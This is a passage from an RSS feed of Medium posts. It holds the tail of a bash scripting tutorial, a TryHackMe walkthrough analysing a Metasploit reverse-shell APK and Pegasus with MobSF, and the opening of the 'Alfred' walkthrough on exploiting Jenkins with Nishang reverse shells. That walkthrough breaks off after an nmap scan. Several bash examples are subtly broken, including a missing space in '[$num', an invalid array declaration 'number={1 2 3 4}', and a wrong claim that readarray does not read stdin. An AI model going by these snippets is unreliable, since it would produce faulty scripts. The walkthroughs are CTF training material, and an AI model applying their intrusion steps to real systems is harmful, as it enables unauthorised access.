number.&quot;<br>esac<br><br>$ ./case_script.sh<br> Please enter a numeber 1<br> You have entered a single digit number.</pre><h3>Section 5 — Processing Options and Reading Files</h3><p><strong>While</strong> loops run certain commands while certain conditions are true.</p><pre>#!/bin/bash<br><br>read -p &quot;Enter your number: &quot; num<br><br>while [$num -gt 10 ]; do<br>   echo $num<br>   num=$(( $num - 1 ))<br>done<br><br>$ ./while.sh<br>Enter your number: 20<br>20 <br>19<br>18<br>17<br>16<br>15<br>14<br>13<br>12<br>11</pre><p><strong>getopts</strong> is a very convenient bash script utility, which helps you to conveniently and gracefully handle the passing of flags(short version), and arguments in a clean, standardized manner.</p><p><strong>The script below is designed to convert temperatures between Celsius and Fahrenheit.</strong></p><pre>#!/bin/bash<br><br># the &#39;getopts&#39;command doesn&#39;t get the all the options at once, <br># to process each of the command at once while loop is used<br><br>while getopts &quot;f:c:&quot; opt; do<br>case &quot;$opt&quot; in<br> c) result=$(echo &quot;scale=2; ($OPTARG * (9/5)) +32&quot; | bc);; #optarg indicates an optional parameter to a command line option.<br> f) result=$(echo &quot;scale=2; ($OPTARG - 32) * (5/9)&quot; | bc);;<br> \?);;<br>esac<br>done<br>echo &quot;$result&quot;<br><br>$ ./temp_conv.com -f 32 # the value 32 is being taken by $OPTARG <br>0</pre><p>Let’s break down the script.</p><pre>while getopts &quot;f:c:&quot; opt; do</pre><ul><li>This line starts a while loop and uses the getopts command to handle command-line options. The options expected are f: and c:. The colon (:) after each option letter indicates that the option requires an argument. opt is the variable that will hold the current option being processed.</li></ul><pre>case &quot;$opt&quot; in</pre><ul><li>This line starts a case statement to handle the different options that were parsed by getopts. It looks at the value of the opt variable to determine which option is being processed.</li></ul><pre> c) result=$(echo &quot;scale=2; ($OPTARG * (9/5)) + 32&quot; | bc);;</pre><ul><li>This line matches the c option. When the c option is specified, it takes the argument after the option ($OPTARG is the variable holding this argument) and converts a Celsius temperature to Fahrenheit. The result is computed using the formula ($celsius * (9/5)) + 32 and is rounded to two decimal places (this is what scale=2 does). The result is then assigned to the result variable.</li><li>The same will happen when f option is specified.</li></ul><p>So, when we write -f 32, <strong>getopts</strong> sets the <strong>$opt</strong> to f indicating the option -f and sets <strong>$OPTARG</strong> to 32 (the argument provided after the f option).</p><p><strong>Read-while loops</strong></p><p>Read-while loops are while loops that use the read command as their test command.</p><p>This command helps to read a text file line-by-line.</p><pre>while read line; do<br> echo &quot;$line&quot;<br>done &lt; &quot;$1&quot;<br><br>$ ./read_line.sh file1.txt<br>This is line 1<br>This is line 2<br>This is line 3</pre><p>Piping the stdout of a command into the stdin of another is a powerful technique. But, what if you need to pipe the stdout of <em>multiple</em> commands? This is where <em>process substitution</em> comes in.</p><p>Syntax → <strong>&gt;(command_list)</strong></p><p><strong>&lt;(command_list)</strong></p><pre>while read line; do<br> echo &quot;$line&quot;<br>done &lt; &lt;(ls $HOME) # process substitution<br># Process substitution feeds the output of a process (or processes) into the stdin of another process.<br><br>$ ./read_while.sh<br>Documents<br>Downloads<br>Pictures</pre><h3>Section 6 — Array + For Loops</h3><h4>Array in Shell Scripting</h4><p>An array is a systematic arrangement of the same type of data. But in the Shell script <em>Array is a variable that contains multiple values that may be of the same type or different type since by default in the shell script everything is treated as a string.</em></p><pre># Here we are dealing with indexed arrays<br><br>$ number={1 2 3 4} #in bash instead of using commas, space is used to separate the values<br>$ echo ${number[2]} # to get the array by index<br>3<br><br>$ echo ${number[@]} # to get all the array values<br>1 2 3 4<br><br>$ echo ${number[@]:1:2} # ${number[@]:offset:length}<br>2 3 <br><br># To append values in array<br>$ number+=(5)<br>$ echo ${number[@]}<br>1 2 3 4 5<br><br>#To remove element from array, by using index value<br>$ unset number[1]<br>$ echo ${number[@]}<br>1 3 4 5<br><br># To get index values<br>$ echo ${!number[@]}<br>0 1 3 4             # We didn&#39;t get the index value (2) because we deleted it above<br><br># To change the values in array<br>$ number[0]=a<br>$ echo ${number[@]}<br>a 3 4 5</pre><h4><strong>ReadArray Command</strong></h4><p>The read array command converts whatever it reads on its standard input stream into arrays.</p><pre>$ cat days.txt<br>Monday <br>Tuesday<br>Wednesday<br>Thursday<br>Friday<br>Saturday<br>Sunday<br><br>$ readarray days &lt; days.txt # &#39;days&#39; is the indexed array<br>$ echo ${days[@]}<br>Monday Tuesday Wednesday Thursday Friday Saturday Sunday<br>$ echo ${days[@]@Q}<br>$&#39;Monday\n&#39; $&#39;Tuesday\n&#39; $&#39;Wednesday\n&#39; ......<br><br># In the above result we are getting a new line character, so to remove this, we can use -t flag to remove the trailing new line char and get the raw data.<br>$ readarray -t days &lt; days.txt<br>$ echo ${days[@]@Q}<br>&#39;Monday&#39; &#39;Tuesday&#39; &#39;Wednesday&#39; ......</pre><p>The below command won’t work because: -</p><p>When you use a pipe, the standard output (stdout) of the first command is connected to the standard input (stdin) of the second command. However, in this case, the readarray command does not read from its stdin. It expects to receive input directly as command arguments, not from stdin.</p><blockquote>Each command in a pipeline is executed as a separate process (i.e., in a subshell), such subshells inherit variables from the main shell but they are independent.</blockquote><p>Instead of using the above command the below command does the work.</p><pre>$ readarray files &lt; &lt;(ls ~/bash_course/array) #process substitution<br># the &lt;(ls ~/bash_course/array) will create an imaginary file with the content present in the array folder and the second &#39;&lt;&#39; is to redirect the imaginary file to the stdin of the readarray file.</pre><h4><strong>For Loop</strong></h4><p>A for loop iterates over a list of words or elements and performs a set of commands “for” each element.</p><pre>#!/bin/bash<br><br>for element in first second third; do<br> echo &quot;This is $element&quot;<br>done<br><br>$./for_loop.sh<br>This is first<br>This is second<br>This is third</pre><pre>#!/bin/bash<br><br># This program is taking input from files.txt and creates files with the names specified in the files.txt and checks if the file exists or not.<br><br>readarray -t files &lt; files.txt<br><br>for file in &quot;${files[@]}&quot;; do<br> if [ -f &quot;$file&quot; ]; then<br>  echo &quot;$file already exists&quot;<br> else<br>  touch &quot;$file&quot;<br> fi<br>done</pre><h3>Section 7 — Debugging</h3><h4><strong>Debugging using shellcheck</strong></h4><p>Shellcheck is a great tool that can be used either via its web interface at <a href="http://www.shellcheck.net/">www.shellcheck.net</a> or by running the shellcheck command in your terminal.</p><pre># Intall spellcheck on Linux<br>sudo apt install shellcheck<br><br>shellcheck &lt;script&gt;</pre><p><strong>Shellcheck is able to perform: -</strong></p><ol><li>Check if your script contains syntax errors.</li><li>Identify potential issues and make suggestions to improve your script.</li></ol><p><strong>Shellcheck is not able to perform: -</strong></p><p>Detect issues with the environment that the script will be running in.</p><h4>Difference between Internal &amp; External Commands</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/837/1*CCFQ-tmpu-eXPR34EsTIyg.png" /></figure><h4>How to check whether a command is external or internal</h4><pre>type -a &lt;command&gt;</pre><p>→ If the type command says that the command is “built-in”, then it is an internal command.</p><p>→ However, if the type command gives you a path to the executable (e.g. “ls is /bin/ls”), then it is an external command.</p><h4>The HELP Command</h4><p>Use the help command to get information on internal commands.</p><p><strong>Options</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/838/1*vDS0rPKSmiQ6M6Y1tUnz_w.png" /></figure><h4><strong>The MAN Command</strong></h4><p>The man command provides access to the system&#39;s “manual” and is a great first point of call for documentation on external commands.</p><blockquote><strong>Hint:</strong> For more information on man pages, try the command “man man”</blockquote><pre>$ man -k “&lt;keyword/phrase&gt;” <br># allows you to search the “name section” of all man pages for a description in the man pages for commands that contain the keyword provided.</pre><h4>More In-Depth Search</h4><pre>$ man -K “&lt;keyword/phrase&gt;” <br>#performs a more extensive search, as it will search for the keyword/phrase within all sections of all man pages, not just the name section at the top.</pre><h4><strong>The INFO Command</strong></h4><p>The info command also provides information on external commands, and it typically provides more detailed information than the man command does.</p><blockquote><strong>Note: </strong>— Not every command has an entry for the info command, so the man command is often the most sure point of call.</blockquote><blockquote><strong>Hint: </strong>— Press ] to see the next page. Press [ to see the previous page. Press “enter” on a link to follow it.</blockquote><h3>Section 8 — Scheduling and Automation</h3><h4><strong>At command</strong></h4><p><strong>at command</strong> is a command-line utility that is used to schedule a command to be executed at a particular time in the future. Jobs created with <strong>at command</strong> are executed only once. The <strong>at command</strong> can be used to execute any program or mail at any time in the future.</p><blockquote>Note: -</blockquote><blockquote>A daemon (pronounced DEE-muhn) is <strong>a program that runs continuously as a background process and wakes up to handle periodic service requests, which often come from remote processes</strong>.</blockquote><blockquote><em>The </em><strong><em>At</em></strong><em> command is a daemon service.</em></blockquote><p>The <strong><em>at daemon (atd)</em></strong> continuously runs in the background and checks the scheduled time against the current time, for a particular process, and when the current time matches the scheduled time it executes that process.</p><pre>$ service atd status<br>* atd is running<br><br>#If it&#39;s not running<br>$ sudo service atd start</pre><p><strong>Example: -</strong></p><pre>$ at &lt;the required time&gt;<br>$ at 9:30am<br>at&gt; echo &quot;Hello World&quot;<br>at&gt; &lt;EOT&gt;<br>job 2 at Thu April 4 09:30:00 2023<br><br>#If the given time has passed, it will look for the next given time.</pre><pre>$ at -l # (to list out all the processes that needed to run)<br><br>$ at -r &lt;id&gt; # To remove a specific id<br><br>$ at &lt;time&gt; -f &lt;script_name&gt; # to run a script at a specific time<br><br>$ at 9am Monday -f at_script.sh # the time must come first</pre><h4><strong>Cron Command</strong></h4><p>The cron command functions the same as <strong><em>at</em></strong> command but it helps with a repeated task and thus it can be used to schedule such processes to run automatically in the background at regular intervals of time by creating a list of those commands using <em>cron</em>.</p><p>Cron checks for the scheduled job recurrently and when the scheduled time fields match the current time fields, the scheduled commands are executed. It is started automatically from /etc/init.d on entering multi-user run levels.</p><p>A <strong>cron job</strong> is a command run by the <strong>cron</strong> daemon at regularly scheduled intervals.</p><p>The <strong>cron</strong> daemon runs commands according to the <strong>crontab</strong> file entries.</p><p>The <a href="https://www.geeksforgeeks.org/crontab-in-linux-with-examples/"><strong>crontab</strong></a> (abbreviation for “cron table”) is a list of commands to execute the scheduled tasks at a specific time. It allows the user to add, remove or modify the scheduled tasks.</p><pre>crontab -e #to submit a cron job</pre><p><strong>Cron Directories</strong></p><p>Cron directories are folders on our system, where we can place scripts to run at a particular frequency.</p><p><strong>Anacron</strong></p><p><strong>Anacron</strong> command is used to execute commands periodically with a frequency specified in days. Its main advantage over <a href="https://www.geeksforgeeks.org/cron-command-in-linux-with-examples/"><strong>cron</strong></a> is that it can be used on a machine that is not running continuously.</p><p>For cron to run the job, the system should be turned on, if it is not the case cron will lose the job and it can’t be recovered but in the case of anacron, it can run the job after the system is turned on</p><p><strong>Anacron</strong> is a bit different as it first checks for <strong>the timestamp</strong> of the job then decides whether to run it or not and if its <strong>timestamp</strong> is <strong>&gt;=n</strong>(n is defined number of days) then runs it after a specified <strong>time delay</strong>.</p><blockquote>Note:- If anacron misses the job several times, after the system is turned on, anacron will only perform the job once.</blockquote><p>It mainly constitutes of two important files: -</p><ol><li><strong>/etc/anacrontab</strong> — It contains the specifications of the job</li></ol><p><em>SHELL=/bin/sh</em>. It uses <em>sh </em>not <em>bash </em>you cannot run bash scripts.</p><p><strong>2. /var/spool/anacron</strong></p><p>This directory is used by Anacron for <em>storing timestamp files</em>. It represents timestamps for different categories of jobs i.e. daily, weekly, monthly, etc.</p><h4>Difference between Cron and Anacron</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/837/1*3ZYfuHGJAhw2T5B7zci8hw.png" /></figure><h4>How to send and receive files from a remote server(SCP)</h4><p><strong>SCP</strong> (secure copy) command in Linux system is used to copy file(s) between servers in a secure way.</p><p>The SCP command or secure copy allows the secure transferring of files between the local host and the remote host or between two remote hosts. It uses the same authentication and security as it is used in the Secure Shell (SSH) protocol.</p><ol><li>If we want to copy a file from a local machine to a remote machine:</li></ol><pre>scp [file_name] remoteuser@remotehost:/remote/directory<br><br>scp ~/Documents/bash-course/demo/amazon.txt ion@pwst-server:/home/ion/demo_folder</pre><p>2. If we want to copy a file from a remote machine to our local machine</p><pre>scp user@remotehost:/home/user/file_name [file_name]<br><br>scp ion@pwst-server:/home/ion/hello.txt ~/Documents/bash-course/demo/</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f67310ad36b6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe: Mobile Malware Analysis]]></title>
            <link>https://medium.com/@ayandey_75377/tryhackme-mobile-malware-analysis-74ccf18ce968?source=rss-7ef4869f26de------2</link>
            <guid isPermaLink="false">https://medium.com/p/74ccf18ce968</guid>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[malware-analysis]]></category>
            <category><![CDATA[mobsf]]></category>
            <category><![CDATA[mobile]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Ayan Dey]]></dc:creator>
            <pubDate>Mon, 07 Aug 2023 18:21:21 GMT</pubDate>
            <atom:updated>2023-08-10T09:59:05.326Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/872/0*Vnllnw0lCoM5Nu5h" /></figure><h4>Walkthrough of room <a href="https://tryhackme.com/room/mma">Mobile Malware Analysis</a></h4><p>In my ongoing journey as an offensive pentester, I recently completed the Mobile Malware Analysis room on TryHackMe. The room covered the basics of<a href="https://github.com/MobSF/Mobile-Security-Framework-MobSF"> MobSF</a>, a versatile tool for all-in-one mobile application pen-testing, malware analysis, and security assessment. I found the room informative and engaging, and I am grateful for the opportunity to learn more about this valuable tool.</p><p>To ensure the long-term retention of the knowledge gained from my walkthrough of the room, I am documenting the process in a comprehensive and organized manner. This documentation will serve as a reference for future reference and will allow me to share my findings with others.</p><p><strong>Let’s get started.</strong>😄</p><h4>[Task 1]: Introduction</h4><p>It’s incredible how often our computers are in the scope of cyber attacks. Antivirus has become an indispensable shield to provide us with a more secure environment since we are exposed to destructible malware and cyber attacks. Inside our pockets, we have computers so powerful, but much smaller, we must be equally attentive on our phones, because we can suffer equally damaging attacks, sometimes even worse, because they can store relevant information such as private conversations and essential accounts.</p><h4>[Task 2]: An Unknown Land</h4><p>It is essential to look at the past to understand why things are as they are today.</p><p>A new technology, due to the lack of exploration, appears to be extremely reliable. Every system is reliable until someone proves otherwise.</p><p>We will need to do some research in order to answer the questions in this task.</p><p><strong>Question 1. What known as the first malware created to affect mobile devices?</strong></p><blockquote><strong>Answer: </strong>Cabir</blockquote><p><strong>Question 2. What technology does this worm used to multiply?</strong></p><blockquote><strong>Answer: </strong>Bluetooth</blockquote><p><strong>Question 3. What operating system did it infect?</strong></p><blockquote><strong>Answer: </strong>Symbian</blockquote><p><strong>Question 4. What message did it show on the screen of the infected mobile phone?</strong></p><blockquote><strong>Answer: </strong>Caribe</blockquote><p><a href="https://en.wikipedia.org/wiki/Cabir_(computer_worm)#:~:text=Cabir%20(also%20known%20as%20Caribe,that%20can%20infect%20mobile%20phones."><strong>Reference</strong></a></p><p>The worm was created and sent out by researchers as a PoC (Proof of Concept), they did not believe that the mobile operating system could be easily exploited. Since then, malicious programs have become more popular.</p><h4>[Task 3]: Small size, a lot of destruction</h4><p>There is a weird file inside this machine, it looks malicious, but let’s not jump to conclusions.</p><p>Deploy the machine in this task and wait for the connection to the machine to be made in your browser.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*blxtI4HmRedvUKZdyvpevA.png" /><figcaption><em>You can open this view in full-screen by pressing the two diagonal arrows at the bottom right.</em></figcaption></figure><p>Wait for the MobSF application to load (this may take a few minutes, but the process is automatic so please just be patient) and you will find the files you should analyze on the machine&#39;s Desktop.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/803/1*w9QC_RGNlaOel2Gus35ahA.png" /><figcaption>MobSF is ready to use</figcaption></figure><p><strong>Question 1. Deploy the machine &amp; use MobSF to scan the file named “TWFsd2FyZQ.apk” that is located on the Desktop.</strong></p><blockquote><strong>No answer needed</strong></blockquote><p><strong>Question 2. What is the format of the file?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/92/1*jFFKsEn3W-GvhTmQWNtEWw.png" /></figure><blockquote><strong>Answer: </strong>.apk</blockquote><p><strong>Question 3. The sample’s size is 10,1 bytes, so it seems that it is not a complex application.</strong></p><blockquote><strong>No answer needed</strong></blockquote><p><strong>Question 4. Decode the name of the sample.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JaSp7F_eBRh7M0OB6YSeGA.png" /></figure><p>To decode the name you can visit <a href="https://gchq.github.io/CyberChef/">CyberChef</a>, a web app for encryption, encoding, compression, and data analysis.</p><blockquote><strong>Answer. </strong>Malware</blockquote><p><strong>Question 4. Which is the target platform?</strong></p><p>From the above answer, we know we are going to analyze an apk file, which stands for <strong>Android Package Kit.</strong></p><blockquote><strong>Answer: </strong>Android</blockquote><h4>[Task 4]: Digging Deeper</h4><p>Let’s make a deeper analysis.</p><p><a href="https://www.virustotal.com/gui/home/upload">VirusTotal</a> is an incredible service, this website can give us the power to analyze a package with a database of more than seventy Anti-Virus, and the result is fast and accurate.</p><p>To analyze the file in VirusTotal, we will need the file hash, we can get it by using the powershell cmdlet “Get-FileHash” or you can analyze the file with MobSF and it will show the file hash (we will get back to this tool in the next task).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*S1KpHQjZ7_VsPRkUXyiNSA.png" /><figcaption>Different Hashes are highlighted in the red box</figcaption></figure><p>I have used the SHA1 hash, but we can use any one of the hashes provided by the MobSF scan.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gvOEA5eMIaffOdoY8mREnw.png" /><figcaption>Output we get after putting the hash value</figcaption></figure><p><strong>Question 1. What does Avast-Mobile can tell us about this software?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GeZvGKPlH_COvEABn7lofw.png" /><figcaption>The Blue Highlighted Section</figcaption></figure><blockquote><strong>Answer: </strong>Android:Metasploit-G [PUP]</blockquote><p><strong>Question 2. What program was used to create the malware?</strong></p><blockquote><strong>Answer: </strong>metasploit</blockquote><p><strong>Question 3. The results provided by VirusTotal shows that we have a generic malware. It does not serve for attack purposes because we can see that a good part of the Antiviruses are detecting it, this malware is a good one for searching purposes, but it is also used for post exploitation.</strong></p><blockquote><strong>No answer needed</strong></blockquote><p><strong>Question 4. What is the package name?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*splHR9w2azT-_quJfhjI9A.png" /></figure><blockquote><strong>Answer: </strong>com.metasploit.stage</blockquote><p><strong>Question 5. What is the SHA-1 signature?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*baQhur-eQCrk2rjPm-rpeA.png" /><figcaption>Under the Details Section we will found the hashes</figcaption></figure><blockquote><strong>Answer: </strong>74d442594acf11dc6e3492ffea5eb8956afd000d</blockquote><p><strong>Question 6. By extracting the content, it will create a folder with some files inside, one of which is a XML. It describes some important information about the application for Android build tools, for Android operating system and for Google Play. This file declares items, shows some stuff as the package name and the permissions required to the device. The information that will be needed for the next questions can be found on VirusTotal also.</strong></p><blockquote><strong>No answer needed</strong></blockquote><p><strong>Question 7. What is the unique XML file?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*W12oRM01R8d-WCPrOumcEg.png" /><figcaption>Under the Relations Section</figcaption></figure><blockquote><strong>Answer: </strong>AndroidManifest.xml</blockquote><p><strong>Question 8. How many permissions are there inside?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dJS6p1NPCU0zS6rYZ2BjcQ.png" /></figure><blockquote><strong>Answer: </strong>22</blockquote><p><strong>Question 9. Which permission allows the application to take pictures with the camera?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LZ2VdzCN0gLnMJMqfbwO6g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/663/1*kn66Z_tuBq8gpihZx8BhxQ.png" /></figure><blockquote><strong>Answer: </strong>android.permission.CAMERA</blockquote><p><strong>Question 10. What is the message left by the community?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ys0dsqfSG78JEJs9deMXYQ.png" /><figcaption>We will find the flag under the community section</figcaption></figure><h4>[Task 5]: MobSFing the sample</h4><p>Let’s use MobSF(Mobile Security Framework) to make a deeper analysis of this file, MobSF is a software created to make a security-focused analysis of Android and IOS files. It can check for misconfigurations, leaked data, and much more in a mobile program.</p><p>This tool can be used for static and dynamic analysis, in this room we will focus only on the static analysis but you are free to install it on a virtual machine you own to understand more about how the application works, you can install it in GitHub — <a href="https://github.com/MobSF/Mobile-Security-Framework-MobSF">https://github.com/MobSF/Mobile-Security-Framework-MobSF</a>.</p><p>The machine is configured to start MobSF when deployed, if you accidentally closed the web page you can visit the MobSF page by visiting the link <a href="http://127.0.0.1:8000/"><em>http://127.0.0.1:8000</em></a> inside the deployed machine. Press the “Upload &amp; Analyze” button and select the file we have been working on.</p><p><strong>Question 1. What is the programming language used to create the program?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7yeyAGBCMzAdlD6glRbvPA.png" /></figure><blockquote><strong>Answer: </strong>Java</blockquote><p><strong>Question 2. How many signatures does the package has?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jOAhawaiWjyLeiLBICtbEQ.png" /><figcaption>Check only for the value True</figcaption></figure><blockquote><strong>Answer: </strong>1</blockquote><p><strong>Question 3. Application is signed with v1 signature scheme, what is it vulnerable to on Android &lt;7.0?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GMDYXixu6Q85EKEVd4deIg.png" /></figure><blockquote><strong>Answer: </strong>Janus</blockquote><p><strong>Question 4 . MobSF gives all the code decompiled. Just a base of programming make us able to understand a little bit of what is happening.</strong></p><blockquote><strong>No answer needed</strong></blockquote><p><strong>Question 5. This malware is used to create a connection with the victim that is called a reverse shell.</strong></p><blockquote><strong>No answer needed</strong></blockquote><p><strong>Question 6. What is the App name?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yfFqWIJouM7xFUT75gJzng.png" /></figure><blockquote><strong>Answer. </strong>MainActivity</blockquote><p><strong>Question 7. It looks like there is a function calling for the package manager, so it can see all the installed applications. What function is that?</strong></p><p>The answer to this question can be found by inspecting the source code. Specifically, the <em>payload.java</em> file contains the required information.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*p_SjCA8MvwjCSSxClH00ZA.png" /></figure><blockquote><strong>Answer:</strong> b.getPackageManager</blockquote><p>Returning to the manifest.</p><p>The flag “android:allowBackup” allows the user to backup application data via USB debugging. It is recommended that this be set as “False”, even if by default it is “True”.</p><p><strong>Question 8. What is the severity of this configuration?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vfzUluZFiPGfQZZKpOQxBw.png" /></figure><blockquote><strong>Answer: </strong>Medium</blockquote><h4>[Task 6]: It doesn’t smell good!</h4><p>I think that now we have the necessary knowledge to analyze bigger stuff.</p><p>Our next sample is located on the Desktop, the name of the file is sample2.apk, let’s start a MobSF analysis on it.</p><p><strong>Question 1. What is the SHA-256 hash of the file?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GszYTgD5rCwyo0csKDuAMA.png" /></figure><blockquote><strong>Answer: </strong>bd8cda80aaee3e4a17e9967a1c062ac5c8e4aefd7eaa3362f54044c2c94db52a</blockquote><p><strong>Question 2. After finding the sample on VirusTotal, what does the “Avast” anti-virus engine recognize it as?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kNWDDnM5LexRCxornKq_qA.png" /></figure><blockquote><strong>Answer: </strong>Android:Obfus-BM [Trj]</blockquote><p><strong>Question 3. With what we have, try to find out the name of the sample.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/860/1*kPUbDgfoEtJJuf-fR_-Gjw.png" /></figure><blockquote><strong>Answer:</strong> Pegasus</blockquote><p>It seems like it is a very dangerous malware and has a big history of destruction.</p><p><strong>Question 4. This became news for spying journalists, what year was that?</strong></p><blockquote><a href="https://en.wikipedia.org/wiki/Pegasus_(spyware)"><strong>Answer</strong></a><strong>: </strong>2017</blockquote><p>It was reported that the malware was developed by a legitimate intention: The idea behind it was to use the software as a government tool designed to track and combat terrorism and crime.</p><p><strong>Question 5. This malware has been found infecting people’s smartphones and political activists in more than 44 countries.</strong></p><blockquote><strong>No answer needed</strong></blockquote><p>If we search the name we found of the malware in MITRE ATT&amp;CK (https://attack.mitre.org/), we can find some interesting information.</p><p><strong>Question 6. What is the ID of the MITRE ATT&amp;CK that is associated with our sample?</strong></p><blockquote><a href="https://attack.mitre.org/software/S0316/"><strong>Answer</strong></a><strong>: </strong>S0316</blockquote><p><strong>Question 7. What technique has the ability to exploit OS vulnerabilities to escalate privileges?</strong></p><blockquote><a href="https://attack.mitre.org/software/S0289/"><strong>Answer</strong></a><strong>: </strong>T1404</blockquote><p><strong>Question 8. There is a permission that when accepted, allows the application to access the list of accounts in the Accounts Service. What is the status shown by MobSF regarding this permission. (android.permission.GET.ACCOUNTS)</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rXuLKLpzOxwDHRTkZux9Eg.png" /></figure><blockquote><strong>Answer: </strong>dangerous</blockquote><p><strong>Question 9. What org.eclipse.paho.client file refers to properties of Portuguese from Brazil (pt-br)?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Kmc4gumV2MUoUtuwu3ZLGQ.png" /></figure><blockquote><strong>Answer: </strong>org/eclipse/paho/client/mqttv3/internal/nls/messages_pt_BR.properties</blockquote><p><strong>Question 10. This software has several features that make the identification and the processes it performs to explore the target, harder to handle, even when it is being analyzed.</strong></p><blockquote><strong>No answer needed</strong></blockquote><p><strong>Question 11. The malware has a special appeal for its safety and its internal components, reducing the risk of compromise. It has a functionality for its cryptographic operations with the feature of a random bit generation service. How can it be identified?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/852/1*3JeISCG3hL0BHkbMZC7M-Q.png" /></figure><blockquote><strong>Answer: </strong>FCS_RBG_EXT.1.1</blockquote><h4>[Task 7]: Conclusion</h4><p>It is normal to think that our mobile phones are harder to be infected, they have characteristics that make the malware actions limited, such as the Sandbox concept, and the fact that we never download things directly from the open internet.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=74ccf18ce968" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackeMe: Alfred]]></title>
            <link>https://medium.com/@ayandey_75377/tryhackeme-alfred-b2c522cbee56?source=rss-7ef4869f26de------2</link>
            <guid isPermaLink="false">https://medium.com/p/b2c522cbee56</guid>
            <category><![CDATA[jenkins]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <dc:creator><![CDATA[Ayan Dey]]></dc:creator>
            <pubDate>Fri, 28 Jul 2023 14:44:34 GMT</pubDate>
            <atom:updated>2023-08-10T09:58:01.815Z</atom:updated>
            <content:encoded><![CDATA[<h4>Walkthrough of room <a href="https://tryhackme.com/room/alfred">Alfred</a> from Offensive Pentesting</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/490/1*uAqJ3mwmYfLwGpfXtFnWFw.png" /></figure><p>This is the walkthrough of another room from Offensive Pentesting Path <strong>Alfred, </strong>and the logo of Jenkins is a butler and who is better than Alfred when it comes to butler😆</p><ul><li>We are going to exploit <a href="https://www.jenkins.io/">Jenkins</a> to gain an initial shell.</li><li>Escalate your privileges by exploiting Windows authentication tokens</li></ul><p>Since this is a Windows application, we’ll use <a href="https://github.com/samratashok/nishang">Nishang</a> to gain initial access. The repository contains a helpful set of scripts for initial access, enumeration, and privilege escalation. In this case, we’ll be using the <a href="https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1">reverse shell scripts</a>.</p><p><strong>Let’s get started😃</strong></p><blockquote><strong>Note:</strong> Please disregard the change in <strong>IP address </strong>in the images as you progress through the walkthrough. I had to restart the machine due to some technical difficulties encountered during this room.</blockquote><h4>[Task 1]: Initial Access</h4><p>To begin this room, click the <strong>Start Machine</strong> button. If you do not have your own Kali machine or the appropriate environment, you can use the <strong>Attack Machine</strong> or <strong>Kali Box</strong> provided by TryHackMe. These machines are pre-configured with all of the necessary tools and software, making it easy to get started.</p><p><strong>Question 1: How many ports are open? (TCP only)</strong></p><p>To scan for the open ports, I have used this nmap command:</p><pre>nmap -sC -sV -oN nmap &lt;Machine_ip&gt;</pre><ul><li>-sC: This flag specifies that the default Nmap scripts should be used</li><li>-sV: This flag specifies that the version of the services running on the remote machine should be identified</li><li>-oN: This flag specifies that the output of the scan should be saved to a file called nmap</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pwoHTkgRuoEkbFlQkNT6zA.png" /><figcaption>Nmap scan showing open port and the services running on it</figcaption></figure><p>So from the result of nmap, we found there are three TCP open ports, <strong>80, 3389, 8080.</strong></p><blockquote><strong><em>Answer: 3</em></strong></blockquote><p>We can view the website by entering the <strong>Machine_ip </strong>in the browser.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*haEpD0p77LebsMiUg7NmdQ.png" /><figcaption>RIP Bruce Wayne T_T</figcaption></figure><p><strong>Question 2: What is the username and password for the login panel? (in the format username: password)</strong></p><p>According to our scan results, there is a service running on port <strong>8080</strong> that is identified as <em>Jetty</em>, a Java web server. Let us visit this service and see what we can find.</p><figure><img alt="" 